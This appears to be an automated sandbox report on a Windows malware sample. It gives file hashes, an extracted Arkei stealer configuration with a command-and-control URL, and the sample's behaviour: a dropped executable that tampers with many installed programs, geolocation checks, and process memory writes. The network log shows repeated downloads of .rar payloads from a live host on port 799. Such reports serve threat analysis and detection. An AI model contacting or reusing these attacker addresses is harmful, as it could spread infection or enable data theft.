Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25/07/2024, 03:31 UTC
Behavioral task
behavioral1
Sample
6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe
Resource
win7-20240708-en
General
-
Target
6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe
-
Size
175KB
-
MD5
9e31bf43798ffd4d029c94caff29023e
-
SHA1
d96e79d2bd84ec6ce72d5195cd7cb55ac5db2e68
-
SHA256
6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59
-
SHA512
8ad8bec5075be1e803724d1d962b2f99badb96b94f992c2005c5fb5e389af6378450b624c21c940579140b6b5a34b4587645be7035f031125b3b93252e4d124a
-
SSDEEP
3072:K/E8k9V0JIYmDdMh1+foxoSaS4eH53U/tV+FNb8EGBGCH:K/E8k9SgD6/Tmb/r+Fp8EG0
Malware Config
Extracted
arkei
Default
62.3.12.9/oCWKaZ5eh7.php
Signatures
-
resource yara_rule behavioral2/files/0x00080000000234b2-3.dat aspack_v212_v242 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation boxRcG.exe -
Executes dropped EXE 1 IoCs
pid Process 3588 boxRcG.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\XboxIdp.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.DBConnection64.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Microsoft.WebMediaExtensions.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\msotd.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Win32Bridge.Server.exe boxRcG.exe File opened for modification C:\Program Files\7-Zip\7z.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jstack.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\CLVIEW.EXE boxRcG.exe File opened for modification C:\Program Files\Windows Mail\wabmig.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_x64__8wekyb3d8bbwe\GetHelp.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\javaw.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX45.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSOSYNC.EXE boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\policytool.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\PeopleApp.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Wallet_2.4.18324.0_x64__8wekyb3d8bbwe\Microsoft.Wallet.exe boxRcG.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe boxRcG.exe File opened for modification C:\Program Files\Mozilla Firefox\minidump-analyzer.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\java-rmi.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdateBroker.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\jjs.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\officeappguardwin32.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxCalendarAppImm.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\servertool.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\XLICONS.EXE boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE boxRcG.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdateCore.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\javaw.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SETLANG.EXE boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\servertool.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.DBConnection.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\ktab.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\orbd.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SDXHelper.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SDXHelperBgt.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SELFCERT.EXE boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javaws.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jmap.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\wsimport.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOICONS.EXE boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2018.826.98.0_x64__8wekyb3d8bbwe\WindowsCamera.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Windows Mail\wab.exe boxRcG.exe File opened for modification C:\Program Files\Mozilla Firefox\pingsender.exe boxRcG.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroLayoutRecognizer\AcroLayoutRecognizer.exe boxRcG.exe File opened for modification C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe boxRcG.exe File opened for modification C:\Program Files\Google\Chrome\Application\123.0.6312.106\notification_helper.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jstat.exe boxRcG.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\GameBar.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\java.exe boxRcG.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\kinit.exe boxRcG.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE boxRcG.exe File opened for modification C:\Program Files\Mozilla Firefox\default-browser-agent.exe boxRcG.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\jabswitch.exe boxRcG.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language boxRcG.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3656 wrote to memory of 3588 3656 6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe 84 PID 3656 wrote to memory of 3588 3656 6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe 84 PID 3656 wrote to memory of 3588 3656 6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe 84 PID 3588 wrote to memory of 2928 3588 boxRcG.exe 88 PID 3588 wrote to memory of 2928 3588 boxRcG.exe 88 PID 3588 wrote to memory of 2928 3588 boxRcG.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe"C:\Users\Admin\AppData\Local\Temp\6aa9785c788205916c58c12be189e23101c3b8137e08a851061968d6e1826b59.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Users\Admin\AppData\Local\Temp\boxRcG.exeC:\Users\Admin\AppData\Local\Temp\boxRcG.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1771230c.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:2928
-
-
Network
-
Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
-
Remote address:8.8.8.8:53Requestddos.dnsnb8.netIN AResponseddos.dnsnb8.netIN A44.221.84.105
-
Remote address:44.221.84.105:799RequestGET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
-
Remote address:44.221.84.105:799RequestGET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
-
Remote address:44.221.84.105:799RequestGET /cj//k3.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
-
Remote address:44.221.84.105:799RequestGET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
-
Remote address:8.8.8.8:53Request183.142.211.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request105.84.221.44.in-addr.arpaIN PTRResponse105.84.221.44.in-addr.arpaIN PTRec2-44-221-84-105 compute-1 amazonawscom
-
Remote address:8.8.8.8:53Request73.144.22.2.in-addr.arpaIN PTRResponse73.144.22.2.in-addr.arpaIN PTRa2-22-144-73deploystaticakamaitechnologiescom
-
Remote address:44.221.84.105:799RequestGET /cj//k5.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
-
Remote address:8.8.8.8:53Requestg.bing.comIN AResponseg.bing.comIN CNAMEg-bing-com.dual-a-0034.a-msedge.netg-bing-com.dual-a-0034.a-msedge.netIN CNAMEdual-a-0034.a-msedge.netdual-a-0034.a-msedge.netIN A13.107.21.237dual-a-0034.a-msedge.netIN A204.79.197.237
-
GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=Remote address:13.107.21.237:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MUID=073244B4C88568C8044A5073C93E6909; domain=.bing.com; expires=Tue, 19-Aug-2025 03:31:20 GMT; path=/; SameSite=None; Secure; Priority=High;
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: B88C87F1AFA642D0A258C3D32B16C444 Ref B: LON04EDGE0916 Ref C: 2024-07-25T03:31:20Z
date: Thu, 25 Jul 2024 03:31:19 GMT
-
GEThttps://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=Remote address:13.107.21.237:443RequestGET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=073244B4C88568C8044A5073C93E6909
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MSPTC=fT6J38-7GuuW8K4gLuAkLOZsB2Of_wWknuZuJAVOvcg; domain=.bing.com; expires=Tue, 19-Aug-2025 03:31:20 GMT; path=/; Partitioned; secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 1E31BCC06CC648F2AF036BE093BC0EC6 Ref B: LON04EDGE0916 Ref C: 2024-07-25T03:31:20Z
date: Thu, 25 Jul 2024 03:31:19 GMT
-
GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=Remote address:13.107.21.237:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=073244B4C88568C8044A5073C93E6909; MSPTC=fT6J38-7GuuW8K4gLuAkLOZsB2Of_wWknuZuJAVOvcg
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 5BD8092485E54D5CA3AE581E27D34D1F Ref B: LON04EDGE0916 Ref C: 2024-07-25T03:31:20Z
date: Thu, 25 Jul 2024 03:31:19 GMT
-
Remote address:8.8.8.8:53Request134.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request237.21.107.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request13.86.106.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request86.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request81.144.22.2.in-addr.arpaIN PTRResponse81.144.22.2.in-addr.arpaIN PTRa2-22-144-81deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request26.35.223.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request48.229.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requesttse1.mm.bing.netIN AResponsetse1.mm.bing.netIN CNAMEmm-mm.bing.net.trafficmanager.netmm-mm.bing.net.trafficmanager.netIN CNAMEax-0001.ax-msedge.netax-0001.ax-msedge.netIN A150.171.27.10ax-0001.ax-msedge.netIN A150.171.28.10
-
GEThttps://tse1.mm.bing.net/th?id=OADD2.10239339388091_1UZ9QPHUDICWZFIUE&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90Remote address:150.171.27.10:443RequestGET /th?id=OADD2.10239339388091_1UZ9QPHUDICWZFIUE&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
host: tse1.mm.bing.net
accept: */*
accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
ResponseHTTP/2.0 200
content-length: 487795
content-type: image/jpeg
x-cache: TCP_HIT
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: E7A703F8E57C40C4BAACF1B5B389CE95 Ref B: LON04EDGE1221 Ref C: 2024-07-25T03:32:56Z
date: Thu, 25 Jul 2024 03:32:56 GMT
-
GEThttps://tse1.mm.bing.net/th?id=OADD2.10239317301013_1R2AO9YZ4I5BGB4K2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90Remote address:150.171.27.10:443RequestGET /th?id=OADD2.10239317301013_1R2AO9YZ4I5BGB4K2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
host: tse1.mm.bing.net
accept: */*
accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
ResponseHTTP/2.0 200
content-length: 558070
content-type: image/jpeg
x-cache: TCP_HIT
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: C6C0BFE22C9F4BEE915F96E76C892787 Ref B: LON04EDGE1221 Ref C: 2024-07-25T03:32:56Z
date: Thu, 25 Jul 2024 03:32:56 GMT
-
GEThttps://tse1.mm.bing.net/th?id=OADD2.10239317301446_1EN88Z1GJDY90F0IF&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90Remote address:150.171.27.10:443RequestGET /th?id=OADD2.10239317301446_1EN88Z1GJDY90F0IF&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
host: tse1.mm.bing.net
accept: */*
accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
ResponseHTTP/2.0 200
content-length: 548581
content-type: image/jpeg
x-cache: TCP_HIT
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: C7A3D06BD222413FA6A37E272C741A3F Ref B: LON04EDGE1221 Ref C: 2024-07-25T03:32:56Z
date: Thu, 25 Jul 2024 03:32:56 GMT
-
GEThttps://tse1.mm.bing.net/th?id=OADD2.10239339388092_16GTZ1ZLJFZVK1WDY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90Remote address:150.171.27.10:443RequestGET /th?id=OADD2.10239339388092_16GTZ1ZLJFZVK1WDY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
host: tse1.mm.bing.net
accept: */*
accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
ResponseHTTP/2.0 200
content-length: 398516
content-type: image/jpeg
x-cache: TCP_HIT
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 5E93AAC5164A4FAF8C8C1838F6170E5F Ref B: LON04EDGE1221 Ref C: 2024-07-25T03:32:56Z
date: Thu, 25 Jul 2024 03:32:56 GMT
-
Remote address:8.8.8.8:53Request8.179.89.13.in-addr.arpaIN PTRResponse
-
564 B 296 B 6 7
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k1.rar -
564 B 296 B 6 7
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k2.rar -
564 B 296 B 6 7
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k3.rar -
564 B 296 B 6 7
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k4.rar -
564 B 296 B 6 7
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k5.rar -
13.107.21.237:443https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=tls, http22.0kB 9.2kB 21 17
HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=HTTP Response
204 -
1.1kB 6.9kB 14 13
-
1.1kB 6.9kB 14 13
-
150.171.27.10:443https://tse1.mm.bing.net/th?id=OADD2.10239339388092_16GTZ1ZLJFZVK1WDY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90tls, http269.3kB 1.9MB 1419 1420
HTTP Request
GET https://tse1.mm.bing.net/th?id=OADD2.10239339388091_1UZ9QPHUDICWZFIUE&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90HTTP Request
GET https://tse1.mm.bing.net/th?id=OADD2.10239317301013_1R2AO9YZ4I5BGB4K2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90HTTP Request
GET https://tse1.mm.bing.net/th?id=OADD2.10239317301446_1EN88Z1GJDY90F0IF&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90HTTP Request
GET https://tse1.mm.bing.net/th?id=OADD2.10239339388092_16GTZ1ZLJFZVK1WDY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90HTTP Response
200HTTP Response
200HTTP Response
200HTTP Response
200 -
1.1kB 6.9kB 14 13
-
66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
-
61 B 77 B 1 1
DNS Request
ddos.dnsnb8.net
DNS Response
44.221.84.105
-
73 B 159 B 1 1
DNS Request
183.142.211.20.in-addr.arpa
-
72 B 127 B 1 1
DNS Request
105.84.221.44.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
73.144.22.2.in-addr.arpa
-
56 B 151 B 1 1
DNS Request
g.bing.com
DNS Response
13.107.21.237204.79.197.237
-
72 B 158 B 1 1
DNS Request
134.32.126.40.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
237.21.107.13.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
13.86.106.20.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
86.23.85.13.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
15.164.165.52.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
81.144.22.2.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
26.35.223.20.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
48.229.111.52.in-addr.arpa
-
62 B 170 B 1 1
DNS Request
tse1.mm.bing.net
DNS Response
150.171.27.10150.171.28.10
-
70 B 144 B 1 1
DNS Request
8.179.89.13.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
